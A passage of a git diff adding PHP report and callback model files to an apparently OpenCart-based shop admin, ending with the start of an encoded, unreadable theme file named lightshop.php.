+
+ public function getTotalCustomerSearches($data = array()) {
+ $sql = "SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "customer_search` cs LEFT JOIN " . DB_PREFIX . "customer c ON (cs.customer_id = c.customer_id)";
+
+ $implode = array();
+
+ if (!empty($data['filter_date_start'])) {
+ $implode[] = "DATE(cs.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $implode[] = "DATE(cs.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_keyword'])) {
+ $implode[] = "cs.keyword LIKE '" . $this->db->escape($data['filter_keyword']) . "%'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $implode[] = "CONCAT(c.firstname, ' ', c.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "'";
+ }
+
+ if (!empty($data['filter_ip'])) {
+ $implode[] = "cs.ip LIKE '" . $this->db->escape($data['filter_ip']) . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/extension/report/customer_transaction.php b/public/admin/model/extension/report/customer_transaction.php
new file mode 100644
index 0000000..02ca94e
--- /dev/null
+++ b/public/admin/model/extension/report/customer_transaction.php
@@ -0,0 +1,62 @@
+config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(ct.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(ct.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $sql .= " AND CONCAT(c.firstname, ' ', c.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "'";
+ }
+
+ $sql .= " GROUP BY ct.customer_id ORDER BY total DESC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalTransactions($data = array()) {
+ $sql = "SELECT COUNT(DISTINCT ct.customer_id) AS total FROM `" . DB_PREFIX . "customer_transaction` ct LEFT JOIN `" . DB_PREFIX . "customer` c ON (ct.customer_id = c.customer_id)";
+
+ $implode = array();
+
+ if (!empty($data['filter_date_start'])) {
+ $implode[] = "DATE(ct.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $implode[] = "DATE(ct.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $implode[] = "CONCAT(c.firstname, ' ', c.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/extension/report/marketing.php b/public/admin/model/extension/report/marketing.php
new file mode 100644
index 0000000..0eba986
--- /dev/null
+++ b/public/admin/model/extension/report/marketing.php
@@ -0,0 +1,60 @@
+ '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o1.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o1.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ $sql .= ") AS `orders`, (SELECT SUM(total) FROM `" . DB_PREFIX . "order` o2 WHERE o2.marketing_id = m.marketing_id";
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " AND o2.order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " AND o2.order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o2.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o2.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ $sql .= " GROUP BY o2.marketing_id) AS `total` FROM `" . DB_PREFIX . "marketing` m ORDER BY m.date_added ASC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalMarketing($data = array()) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "marketing`");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/extension/report/product.php b/public/admin/model/extension/report/product.php
new file mode 100644
index 0000000..78a0ae0
--- /dev/null
+++ b/public/admin/model/extension/report/product.php
@@ -0,0 +1,96 @@
+config->get('config_language_id') . "' AND p.viewed > 0 ORDER BY p.viewed DESC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalProductViews() {
+ $query = $this->db->query("SELECT SUM(viewed) AS total FROM " . DB_PREFIX . "product");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalProductsViewed() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "product WHERE viewed > 0");
+
+ return $query->row['total'];
+ }
+
+ public function reset() {
+ $this->db->query("UPDATE " . DB_PREFIX . "product SET viewed = '0'");
+ }
+
+ public function getPurchased($data = array()) {
+ $sql = "SELECT op.name, op.model, SUM(op.quantity) AS quantity, SUM((op.price + op.tax) * op.quantity) AS total FROM " . DB_PREFIX . "order_product op LEFT JOIN `" . DB_PREFIX . "order` o ON (op.order_id = o.order_id)";
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " WHERE o.order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " WHERE o.order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ $sql .= " GROUP BY op.product_id ORDER BY total DESC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalPurchased($data) {
+ $sql = "SELECT COUNT(DISTINCT op.product_id) AS total FROM `" . DB_PREFIX . "order_product` op LEFT JOIN `" . DB_PREFIX . "order` o ON (op.order_id = o.order_id)";
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " WHERE o.order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " WHERE o.order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/extension/report/return.php b/public/admin/model/extension/report/return.php
new file mode 100644
index 0000000..1afff7b
--- /dev/null
+++ b/public/admin/model/extension/report/return.php
@@ -0,0 +1,100 @@
+ '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(r.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(r.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (isset($data['filter_group'])) {
+ $group = $data['filter_group'];
+ } else {
+ $group = 'week';
+ }
+
+ switch($group) {
+ case 'day';
+ $sql .= " GROUP BY YEAR(r.date_added), MONTH(r.date_added), DAY(r.date_added)";
+ break;
+ default:
+ case 'week':
+ $sql .= " GROUP BY YEAR(r.date_added), WEEK(r.date_added)";
+ break;
+ case 'month':
+ $sql .= " GROUP BY YEAR(r.date_added), MONTH(r.date_added)";
+ break;
+ case 'year':
+ $sql .= " GROUP BY YEAR(r.date_added)";
+ break;
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalReturns($data = array()) {
+ if (!empty($data['filter_group'])) {
+ $group = $data['filter_group'];
+ } else {
+ $group = 'week';
+ }
+
+ switch($group) {
+ case 'day';
+ $sql = "SELECT COUNT(DISTINCT YEAR(date_added), MONTH(date_added), DAY(date_added)) AS total FROM `" . DB_PREFIX . "return`";
+ break;
+ default:
+ case 'week':
+ $sql = "SELECT COUNT(DISTINCT YEAR(date_added), WEEK(date_added)) AS total FROM `" . DB_PREFIX . "return`";
+ break;
+ case 'month':
+ $sql = "SELECT COUNT(DISTINCT YEAR(date_added), MONTH(date_added)) AS total FROM `" . DB_PREFIX . "return`";
+ break;
+ case 'year':
+ $sql = "SELECT COUNT(DISTINCT YEAR(date_added)) AS total FROM `" . DB_PREFIX . "return`";
+ break;
+ }
+
+ if (!empty($data['filter_return_status_id'])) {
+ $sql .= " WHERE return_status_id = '" . (int)$data['filter_return_status_id'] . "'";
+ } else {
+ $sql .= " WHERE return_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/extension/report/sale.php b/public/admin/model/extension/report/sale.php
new file mode 100644
index 0000000..21073f5
--- /dev/null
+++ b/public/admin/model/extension/report/sale.php
@@ -0,0 +1,438 @@
+ '0'";
+
+ if (!empty($data['filter_date_added'])) {
+ $sql .= " AND DATE(date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getTotalOrdersByCountry() {
+ $query = $this->db->query("SELECT COUNT(*) AS total, SUM(o.total) AS amount, c.iso_code_2 FROM `" . DB_PREFIX . "order` o LEFT JOIN `" . DB_PREFIX . "country` c ON (o.payment_country_id = c.country_id) WHERE o.order_status_id > '0' GROUP BY o.payment_country_id");
+
+ return $query->rows;
+ }
+
+ public function getTotalOrdersByDay() {
+ $implode = array();
+
+ foreach ($this->config->get('config_complete_status') as $order_status_id) {
+ $implode[] = "'" . (int)$order_status_id . "'";
+ }
+
+ $order_data = array();
+
+ for ($i = 0; $i < 24; $i++) {
+ $order_data[$i] = array(
+ 'hour' => $i,
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, HOUR(date_added) AS hour FROM `" . DB_PREFIX . "order` WHERE order_status_id IN(" . implode(",", $implode) . ") AND DATE(date_added) = DATE(NOW()) GROUP BY HOUR(date_added) ORDER BY date_added ASC");
+
+ foreach ($query->rows as $result) {
+ $order_data[$result['hour']] = array(
+ 'hour' => $result['hour'],
+ 'total' => $result['total']
+ );
+ }
+
+ return $order_data;
+ }
+
+ public function getTotalOrdersByWeek() {
+ $implode = array();
+
+ foreach ($this->config->get('config_complete_status') as $order_status_id) {
+ $implode[] = "'" . (int)$order_status_id . "'";
+ }
+
+ $order_data = array();
+
+ $date_start = strtotime('-' . date('w') . ' days');
+
+ for ($i = 0; $i < 7; $i++) {
+ $date = date('Y-m-d', $date_start + ($i * 86400));
+
+ $order_data[date('w', strtotime($date))] = array(
+ 'day' => date('D', strtotime($date)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "order` WHERE order_status_id IN(" . implode(",", $implode) . ") AND DATE(date_added) >= DATE('" . $this->db->escape(date('Y-m-d', $date_start)) . "') GROUP BY DAYNAME(date_added)");
+
+ foreach ($query->rows as $result) {
+ $order_data[date('w', strtotime($result['date_added']))] = array(
+ 'day' => date('D', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $order_data;
+ }
+
+ public function getTotalOrdersByMonth() {
+ $implode = array();
+
+ foreach ($this->config->get('config_complete_status') as $order_status_id) {
+ $implode[] = "'" . (int)$order_status_id . "'";
+ }
+
+ $order_data = array();
+
+ for ($i = 1; $i <= date('t'); $i++) {
+ $date = date('Y') . '-' . date('m') . '-' . $i;
+
+ $order_data[date('j', strtotime($date))] = array(
+ 'day' => date('d', strtotime($date)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "order` WHERE order_status_id IN(" . implode(",", $implode) . ") AND DATE(date_added) >= '" . $this->db->escape(date('Y') . '-' . date('m') . '-1') . "' GROUP BY DATE(date_added)");
+
+ foreach ($query->rows as $result) {
+ $order_data[date('j', strtotime($result['date_added']))] = array(
+ 'day' => date('d', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $order_data;
+ }
+
+ public function getTotalOrdersByYear() {
+ $implode = array();
+
+ foreach ($this->config->get('config_complete_status') as $order_status_id) {
+ $implode[] = "'" . (int)$order_status_id . "'";
+ }
+
+ $order_data = array();
+
+ for ($i = 1; $i <= 12; $i++) {
+ $order_data[$i] = array(
+ 'month' => date('M', mktime(0, 0, 0, $i)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "order` WHERE order_status_id IN(" . implode(",", $implode) . ") AND YEAR(date_added) = YEAR(NOW()) GROUP BY MONTH(date_added)");
+
+ foreach ($query->rows as $result) {
+ $order_data[date('n', strtotime($result['date_added']))] = array(
+ 'month' => date('M', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $order_data;
+ }
+
+ public function getOrders($data = array()) {
+ $sql = "SELECT MIN(o.date_added) AS date_start, MAX(o.date_added) AS date_end, COUNT(*) AS `orders`, SUM((SELECT SUM(op.quantity) FROM `" . DB_PREFIX . "order_product` op WHERE op.order_id = o.order_id GROUP BY op.order_id)) AS products, SUM((SELECT SUM(ot.value) FROM `" . DB_PREFIX . "order_total` ot WHERE ot.order_id = o.order_id AND ot.code = 'tax' GROUP BY ot.order_id)) AS tax, SUM(o.total) AS `total` FROM `" . DB_PREFIX . "order` o";
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " WHERE o.order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " WHERE o.order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_group'])) {
+ $group = $data['filter_group'];
+ } else {
+ $group = 'week';
+ }
+
+ switch($group) {
+ case 'day';
+ $sql .= " GROUP BY YEAR(o.date_added), MONTH(o.date_added), DAY(o.date_added)";
+ break;
+ default:
+ case 'week':
+ $sql .= " GROUP BY YEAR(o.date_added), WEEK(o.date_added)";
+ break;
+ case 'month':
+ $sql .= " GROUP BY YEAR(o.date_added), MONTH(o.date_added)";
+ break;
+ case 'year':
+ $sql .= " GROUP BY YEAR(o.date_added)";
+ break;
+ }
+
+ $sql .= " ORDER BY o.date_added DESC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalOrders($data = array()) {
+ if (!empty($data['filter_group'])) {
+ $group = $data['filter_group'];
+ } else {
+ $group = 'week';
+ }
+
+ switch($group) {
+ case 'day';
+ $sql = "SELECT COUNT(DISTINCT YEAR(date_added), MONTH(date_added), DAY(date_added)) AS total FROM `" . DB_PREFIX . "order`";
+ break;
+ default:
+ case 'week':
+ $sql = "SELECT COUNT(DISTINCT YEAR(date_added), WEEK(date_added)) AS total FROM `" . DB_PREFIX . "order`";
+ break;
+ case 'month':
+ $sql = "SELECT COUNT(DISTINCT YEAR(date_added), MONTH(date_added)) AS total FROM `" . DB_PREFIX . "order`";
+ break;
+ case 'year':
+ $sql = "SELECT COUNT(DISTINCT YEAR(date_added)) AS total FROM `" . DB_PREFIX . "order`";
+ break;
+ }
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " WHERE order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " WHERE order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getTaxes($data = array()) {
+ $sql = "SELECT MIN(o.date_added) AS date_start, MAX(o.date_added) AS date_end, ot.title, SUM(ot.value) AS total, COUNT(o.order_id) AS `orders` FROM `" . DB_PREFIX . "order` o LEFT JOIN `" . DB_PREFIX . "order_total` ot ON (ot.order_id = o.order_id) WHERE ot.code = 'tax'";
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " AND o.order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " AND o.order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_group'])) {
+ $group = $data['filter_group'];
+ } else {
+ $group = 'week';
+ }
+
+ switch($group) {
+ case 'day';
+ $sql .= " GROUP BY YEAR(o.date_added), MONTH(o.date_added), DAY(o.date_added), ot.title";
+ break;
+ default:
+ case 'week':
+ $sql .= " GROUP BY YEAR(o.date_added), WEEK(o.date_added), ot.title";
+ break;
+ case 'month':
+ $sql .= " GROUP BY YEAR(o.date_added), MONTH(o.date_added), ot.title";
+ break;
+ case 'year':
+ $sql .= " GROUP BY YEAR(o.date_added), ot.title";
+ break;
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalTaxes($data = array()) {
+ if (!empty($data['filter_group'])) {
+ $group = $data['filter_group'];
+ } else {
+ $group = 'week';
+ }
+
+ switch($group) {
+ case 'day';
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), MONTH(o.date_added), DAY(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ default:
+ case 'week':
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), WEEK(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ case 'month':
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), MONTH(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ case 'year':
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ }
+
+ $sql .= " LEFT JOIN `" . DB_PREFIX . "order_total` ot ON (o.order_id = ot.order_id) WHERE ot.code = 'tax'";
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " AND o.order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " AND o.order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getShipping($data = array()) {
+ $sql = "SELECT MIN(o.date_added) AS date_start, MAX(o.date_added) AS date_end, ot.title, SUM(ot.value) AS total, COUNT(o.order_id) AS `orders` FROM `" . DB_PREFIX . "order` o LEFT JOIN `" . DB_PREFIX . "order_total` ot ON (o.order_id = ot.order_id) WHERE ot.code = 'shipping'";
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " AND o.order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " AND o.order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_group'])) {
+ $group = $data['filter_group'];
+ } else {
+ $group = 'week';
+ }
+
+ switch($group) {
+ case 'day';
+ $sql .= " GROUP BY YEAR(o.date_added), MONTH(o.date_added), DAY(o.date_added), ot.title";
+ break;
+ default:
+ case 'week':
+ $sql .= " GROUP BY YEAR(o.date_added), WEEK(o.date_added), ot.title";
+ break;
+ case 'month':
+ $sql .= " GROUP BY YEAR(o.date_added), MONTH(o.date_added), ot.title";
+ break;
+ case 'year':
+ $sql .= " GROUP BY YEAR(o.date_added), ot.title";
+ break;
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalShipping($data = array()) {
+ if (!empty($data['filter_group'])) {
+ $group = $data['filter_group'];
+ } else {
+ $group = 'week';
+ }
+
+ switch($group) {
+ case 'day';
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), MONTH(o.date_added), DAY(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ default:
+ case 'week':
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), WEEK(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ case 'month':
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), MONTH(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ case 'year':
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ }
+
+ $sql .= " LEFT JOIN `" . DB_PREFIX . "order_total` ot ON (o.order_id = ot.order_id) WHERE ot.code = 'shipping'";
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " AND order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " AND order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/extension/theme/callback.php b/public/admin/model/extension/theme/callback.php
new file mode 100644
index 0000000..46d65a6
--- /dev/null
+++ b/public/admin/model/extension/theme/callback.php
@@ -0,0 +1,117 @@
+db->query("UPDATE " . DB_PREFIX . "callback SET comment = '" . $this->db->escape($data['comment']) . "', status_id = '" . (int)$data['status_id'] . "', date_modified = NOW() WHERE call_id = '" . (int)$callback_id . "'");
+ }
+
+
+ public function editCallbacks($callback_id) {
+ $this->db->query("UPDATE " . DB_PREFIX . "callback SET status_id = '1', date_modified = NOW() WHERE call_id = '" . (int)$callback_id . "'");
+
+
+ }
+
+ public function deleteCallback($callback_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "callback WHERE call_id = '" . (int)$callback_id . "'");
+
+
+ $this->cache->delete('callback');
+ }
+
+ public function getCallback($callback_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "callback WHERE call_id = '" . (int)$callback_id . "'");
+
+ return $query->row;
+ }
+
+ public function getCallbackNew() {
+ $query = $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "callback (call_id int(11) NOT NULL
+ primary key AUTO_INCREMENT,name varchar(30) NOT NULL,telephone varchar(30) NOT NULL,
+ date_added datetime NOT NULL,date_modified datetime NOT NULL,
+ status_id int(11) NOT NULL,comment text NOT NULL)");
+ $query = $this->db->query("SELECT COUNT(status_id) as total FROM " . DB_PREFIX . "callback WHERE status_id = '0'");
+
+ return $query->row;
+ }
+
+ public function getCallbacks($data = array()) {
+
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "callback";
+
+ $sort_data = array(
+ 'call_id',
+ 'name',
+ 'telephone'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY call_id";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $callback_data = $this->cache->get('callback');
+
+ if (!$callback_data) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "callback ORDER BY call_id");
+
+ $callback_data = $query->rows;
+
+ $this->cache->set('callback', $callback_data);
+ }
+
+ return $callback_data;
+ }
+ }
+
+ public function getManufacturerStores($manufacturer_id) {
+ $manufacturer_store_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "manufacturer_to_store WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+
+ foreach ($query->rows as $result) {
+ $manufacturer_store_data[] = $result['store_id'];
+ }
+
+ return $manufacturer_store_data;
+ }
+
+ public function getTotalManufacturersByImageId($image_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "manufacturer WHERE image_id = '" . (int)$image_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalCallbacks() {
+
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "callback");
+
+ return $query->row['total'];
+ }
+}
+?>
diff --git a/public/admin/model/extension/theme/lightshop.php b/public/admin/model/extension/theme/lightshop.php
new file mode 100644
index 0000000..0625aa9
--- /dev/null
+++ b/public/admin/model/extension/theme/lightshop.php
@@ -0,0 +1,805 @@
+HR+cPzTDtfw6VoFHBo9BlHGdatliWEaBSQRkTwd8XXdT+jKSpPP0JYjcIK/Z9ME6DHlpHznVET+j
+WtwHPj31veSQ23bksLANsjQpIajmhmW0A2Vw6ectzk+FGBCQBFZtrtC3ywmb7j83sPVwBveXPQ0b
+ccblokZDK9mfhPSfge24jbt7WGiqncrPC6+zXKPYDzonZzhmLHk4bMa6XUs52Z0FCAOCBexnqJ6t
+vWT0zTaFL2dj0VZyDYdvDu9vFu9xelsubbT0xzlucB1W1dt+4nLZeG2UPA+OgL9fzNH1dvcKSSvt
+HMcqS3eIynJBBeYSXzYdkH6I0sFWZ7e6wzg2lVantSwAIxGoCAsuiiIt56yWV9U/bjcry2l26F8f
